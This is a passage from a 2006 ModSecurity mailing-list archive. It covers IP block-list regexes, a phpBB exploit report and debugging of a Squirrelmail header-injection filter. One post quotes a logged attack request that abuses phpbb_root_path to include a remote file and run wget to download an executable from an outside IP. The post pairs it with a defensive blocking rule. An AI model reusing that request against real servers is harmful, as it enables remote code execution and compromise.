.63|200.61.183.237|201.12.106.2|62.178.210.9|204.83.56.144|69.95.136.131|84.58.232.52|207.90.211.54|70.168.74.193|69.17.157.154|210.3.4.193|68.87.72.169|66.161.95.147|217.58.71.101|69.94.80.15|172.192.99.104|147.202.43.153|216.7.168.224|83.14.11.178|81.7.76.61|212.100.254.113|206.71.166.2|85.14.216.209|210.253.120.121|81.91.225.142|211.115.70.163|59.49.233.25|69.13.31.57|129.8.238.39|211.100.33.61|211.115.70.163|211.100.33.61|61.183.15.41|132.248.200.16|200.46.107.131|61.97.32.12|69.17.157.154|70.168.74.193|207.90.211.54|220.170.53.194|220.123.171.125|61.60.21.226|61.135.159.152|61.135.170.153|81.223.25.117|69.19.225.155|61.134.32.18|61.185.208.83|59.124.127.103|164.77.238.114|66.34.240.128|211.214.161.239|61.183.15.41|211.100.33.61|85.112.145.11|220.64.88.9|24.128.223.238|66.77.128.77|67.50.47.52|62.116.40.112|150.101.121.80|62.116.40.112|200.122.153.10|68.87.76.152|69.41.54.49|12.193.208.2|212.68.193.242|196.40.43.78|199.170.103.17|218.189.215.178|80.53.0.29|201.243.180! .1! >> 28|60.236.29.243|203.177.167.195|201.45.178.36|61.178.21.179|2! >> 16.102.2 >> 12.115|131.220.92.80|65.40.8.141|220.181.9.119|210.82.46.66|207.210.86.105|202.83.32.124|66.81.231.52|66.17.15.154|38.99.203.110|201.18.140.207|62.252.64.30|203.124.171.20|38.99.203.110|61.97.32.12|192.91.171.36|219.117.251.138|72.18.195.161|38.99.203.110|212.36.65.144|72.18.195.161|68.185.24.2|220.227.125.124|220.194.57.112|216.235.153.4|203.125.140.52|82.231.38.27|61.135.170.159|83.138.146.85|64.91.231.91|202.138.112.252|209.97.203.36|64.92.201.114)$" >> >> Is it safe? >> >> Thank you for your consideration. >> >> --Chris >> > > As long as you use ^ and $ and \. there cannot be any additional > matching by pre/appending digits. Understood. I'm pretty good with RE after all these years. But I'm always working on too many things at once and am afraid I'm going to overlook something. I'm /especially/ concerned in this case; as I could so easily block an _enormeous_ number of innocent hosts/ IP's. So I always feel more comfortable getting a second opinion. > > I don't think it is any faster (and may be slower) to used a large OR > list like that. In any case, I would split them up into single rules, > each blocked with ^ and $ just because it is more maintainable and > less prone to miss some small error in the RE. I *do* think that > using the ^ and $ *is* faster than without, though, because often you > can short circuit the match on the first character instead of trying > to shift the RE around for an internal match. Agreed. The reason I was more inclined to use such a long OR here, is that I was able to use a long unescaped, space seperated string on a directory access rule set in Apache. And, since I maintained it chronolocically, left to right. It made it easy to retire the older ones. It was also a snap to convert it to a RE rule in my editor with a search and replace RE; replacing the spaces with the OR (pipe). > > If you want better speed, and don't care for maintenance, then try > something like this for each subnet (untested): > > SecFilterSelective REMOTE_ADDR "^194\.72\.238\." chain > SecFilterSelective REMOTE_ADDR "(?:1[034569]|6[12])$" Agreed. I'm only in need of two blocks which I'm implimenting in just such a fashon. But instead of a small 8 I need to block an entire C block (255 IP's). > > Which would (more efficiently?) match all of these: > > 194.72.238.10 > 194.72.238.13 > 194.72.238.14 > 194.72.238.15 > 194.72.238.16 > 194.72.238.19 > 194.72.238.61 > 194.72.238.62 > > But, is *much* less readable then 8 separate rules and going to be > more prone to errors. As Mike wrote, RBLs are the way to go for large > lists, though. Indeed. It might interest you to know that I'm setting up a box at this momment that will be providing a PRBL for just such actions. I should have it live no later than Monday. DNS is our primary service so this seemed a natural. However, I also have to upgrade our other 50 servers and build custom kernels for them at the same time. So now perhaps you might understand what I meant by "always doing too many things at once" - see; my plate is full. ;) Thank you very much for taking the time to respond. --Chris > > -B > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity > -- panic: kernel trap (ignored) ----------------------------------------------------------------- FreeBSD 5.4-RELEASE-p12 (SMP - 900x2) Tue Mar 7 19:37:23 PST 2006 ///////////////////////////////////////////////////////////////// -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: PGP Digital Signature Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20060623/5f903ca9/attachment.bin From rhelfter at datapipe.com Mon Jun 26 16:56:24 2006 From: rhelfter at datapipe.com (Ryan E. Helfter) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] yet another phpBB exploit Message-ID: Not sure if this made it in yet. Yet another phpBB bug: "GET//modules/Forums/admin/admin_styles.php?phpbb_root_path=http://www.b nfxtools.com/tool25.dat?&cmd=wget%20201.32.144.237//7936825.exe HTTP/1.1" 200 11909 The following mod_security rules now takes care of this: # WEB-PHP phpbb admin_styles.php arbitrary command attempt SecFilterSelective REQUEST_URI "/admin_styles\.php" chain SecFilter "phpbb_root_path=" Regards, -- Ryan E. Helfter UNIX Security Engineer DataPipe Managed Hosting Services - What It Means To Be Sure - rhelfter@datapipe.com | http://www.datapipe.com Tel: 201.792.1918 x300 | Fax: 201-792-3090 From iseppi at msn.com Wed Jun 28 02:45:41 2006 From: iseppi at msn.com (Roberto) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Squirrelmail "Forward" message does not work Message-ID: H, I have mod_security installed and users can not use the Forward function in Squirrelmail 1.46 and they get: ---------------------------- Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, me@myemail and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log. ---------------------------------------- In audit_log I have this: --------------------------------- mod_security-action: 500 mod_security-message: Access denied with code 500. Pattern match "\\n[[:space:]]*(to|b?cc)[[:space:]]*:.*@" at ARGS_VALUES("body") [severity $"EMERGENCY"] --------------------------------- Is this the problem? What can I do? Any help would be Great! Thanks Roberto From rhelfter at datapipe.com Thu Jun 29 13:42:33 2006 From: rhelfter at datapipe.com (Ryan E. Helfter) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Squirrelmail "Forward" message does not work Message-ID: The GET/POST line from your logs might be helpful :) Regards, Ryan E. Helfter UNIX Security Engineer DataPipe Managed Hosting Services - What It Means To Be Sure - rhelfter@datapipe.com | http://www.datapipe.com Tel: 201.792.1918 x300 | Fax: 201-792-3090 -----Original Message----- From: modsecurity-bounces@gotroot.com [mailto:modsecurity-bounces@gotroot.com] On Behalf Of Roberto Sent: Wednesday, June 28, 2006 2:46 AM To: modsecurity@gotroot.com Subject: [Modsecurity] Squirrelmail "Forward" message does not work H, I have mod_security installed and users can not use the Forward function in Squirrelmail 1.46 and they get: ---------------------------- Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, me@myemail and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log. ---------------------------------------- In audit_log I have this: --------------------------------- mod_security-action: 500 mod_security-message: Access denied with code 500. Pattern match "\\n[[:space:]]*(to|b?cc)[[:space:]]*:.*@" at ARGS_VALUES("body") [severity $"EMERGENCY"] --------------------------------- Is this the problem? What can I do? Any help would be Great! Thanks Roberto _______________________________________________ Modsecurity mailing list Modsecurity@gotroot.com http://lists.gotroot.com/mailman/listinfo/modsecurity From rhelfter at datapipe.com Thu Jun 29 17:45:55 2006 From: rhelfter at datapipe.com (Ryan E. Helfter) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Squirrelmail "Forward" message does not work Message-ID: I don't seem to able to replicate this... Here is a test message, with squirrelmail 1.4.6 (RELEASE) ---------------------------- Original Message ---------------------------- Subject: test From: "Ryan E. Helfter" Date: Thu, June 29, 2006 5:33 pm To: reh@420am.org ------------------------------------------------------------------------ -- Test Here are the mod_security rules I added: #http://www.gotroot.com #see website for more information SecFilterSelective REQUEST_URI "!(/compose\.php\?)" chain SecFilterSelective THE_REQUEST "Subject\:" chain SecFilterSelective ARG_Bcc ".*\@" SecFilterSelective REQUEST_URI "!(/compose\.php\?)" chain SecFilterSelective POST_PAYLOAD "Subject\:" chain SecFilterSelective POST_PAYLOAD "\s*bcc\:" SecFilterSelective REQUEST_URI "!(/compose\.php\?)" chain SecFilterSelective POST_PAYLOAD "\s*bcc\:\s*[a-z0-9._%-]+@[A-Z0-9.-]+\.[a-z]{2,}" SecFilterSelective REQUEST_URI "!(/compose\.php\?)" chain SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|b?cc)[[:space:]]*:.*@" SecFilterSelective REQUEST_URI "!(/compose\.php\?)" chain SecFilterSelective ARGS_VALUES "\s*bcc\:\s*[a-z0-9._%-]+\@.*\.[a-z]{2,}" SecFilterSelective HTTP_x-aaaaaaaaa|HTTP_XAAAAAAAAA ".+$" SecFilterSelective HTTP_x-aaaaaaaaaaa|HTTP_XAAAAAAAAAAA ".+$" SecFilterSelective HTTP_x-aaaaaaaaaaaa|HTTP_X_AAAAAAAAAAAA ".+$" #SecFilterSelective HTTP_XXXXXXXXXXXXXXX ".+$" >From blacklist.conf SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|b?cc)[[:space:]]*:.*@" I believe was the rule you had problems with, but that rules looks for "to: and bcc:" not To: or Bcc:. My guess is your not chaining the rules properly? Just a guess... I'd like to help you out further, but not sure I can without more info on your environment... Also, how come you are logging mod_security as Error 500 (internal server error...) this will cause any real 500 errors to look like it's a problem with mod_security :) I use 506 cause that's not an RFC error code. :) Regards, -- Ryan E. Helfter UNIX Security Engineer DataPipe Managed Hosting Services - What It Means To Be Sure - rhelfter@datapipe.com | http://www.datapipe.com Tel: 201.792.1918 x300 | Fax: 201-792-3090 From eric.mar at prodeb.gov.br Fri Jun 30 07:39:40 2006 From: eric.mar at prodeb.gov.br (Eric Marins) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Squirrelmail "Forward" message does not work References: Message-ID: <052201c69c39$dfff7e90$2d10020a@cosop71> Insert the # (comment) in line the include blacklists.conf ----- Original Message ----- From: "Ryan E. Helfter" To: "Roberto" ; Sent: Thursday, June 29, 2006 6:45 PM Subject: RE: [Modsecurity] Squirrelmail "Forward" message does not work I don't seem to able to replicate this... Here is a test message, with squirrelmail 1.4.6 (RELEASE) ---------------------------- Original Message ---------------------------- Subject: test From: "Ryan E. Helfter" Date: Thu, June 29, 2006 5:33 pm To: reh@420am.org ------------------------------------------------------------------------ -- Test Here are the mod_security rules I added: #http://www.gotroot.com #see website for more information SecFilterSelective REQUEST_URI "!(/compose\.php\?)" chain SecFilterSelective THE_REQUEST "Subject\:" chain SecFilterSelective ARG_Bcc ".*\@" SecFilterSelective REQUEST_URI "!(/compose\.php\?)" chain SecFilterSelective POST_PAYLOAD "Subject\:" chain SecFilterSelective POST_PAYLOAD "\s*bcc\:" SecFilterSelective REQUEST_URI "!(/compose\.php\?)" chain SecFilterSelective POST_PAYLOAD "\s*bcc\:\s*[a-z0-9._%-]+@[A-Z0-9.-]+\.[a-z]{2,}" SecFilterSelective REQUEST_URI "!(/compose\.php\?)" chain SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|b?cc)[[:space:]]*:.*@" SecFilterSelective REQUEST_URI "!(/compose\.php\?)" chain SecFilterSelective ARGS_VALUES "\s*bcc\:\s*[a-z0-9._%-]+\@.*\.[a-z]{2,}" SecFilterSelective HTTP_x-aaaaaaaaa|HTTP_XAAAAAAAAA ".+$" SecFilterSelective HTTP_x-aaaaaaaaaaa|HTTP_XAAAAAAAAAAA ".+$" SecFilterSelective HTTP_x-aaaaaaaaaaaa|HTTP_X_AAAAAAAAAAAA ".+$" #SecFilterSelective HTTP_XXXXXXXXXXXXXXX ".+$" >From blacklist.conf SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|b?cc)[[:space:]]*:.*@" I believe was the rule you had problems with, but that rules looks for "to: and bcc:" not To: or Bcc:. My guess is your not chaining the rules properly? Just a guess... I'd like to help you out further, but not sure I can without more info on your environment... Also, how come you are logging mod_security as Error 500 (internal server error...) this will cause any real 500 errors to look like it's a problem with mod_security :) I use 506 cause that's not an RFC error code. :) Regards, -- Ryan E. Helfter UNIX Security Engineer DataPipe Managed Hosting Services - What It Means To Be Sure - rhelfter@datapipe.com | http://www.datapipe.com Tel: 201.792.1918 x300 | Fax: 201-792-3090 _______________________________________________ Modsecurity mailing list Modsecurity@gotroot.com http://lists.gotroot.com/mailman/listinfo/modsecurity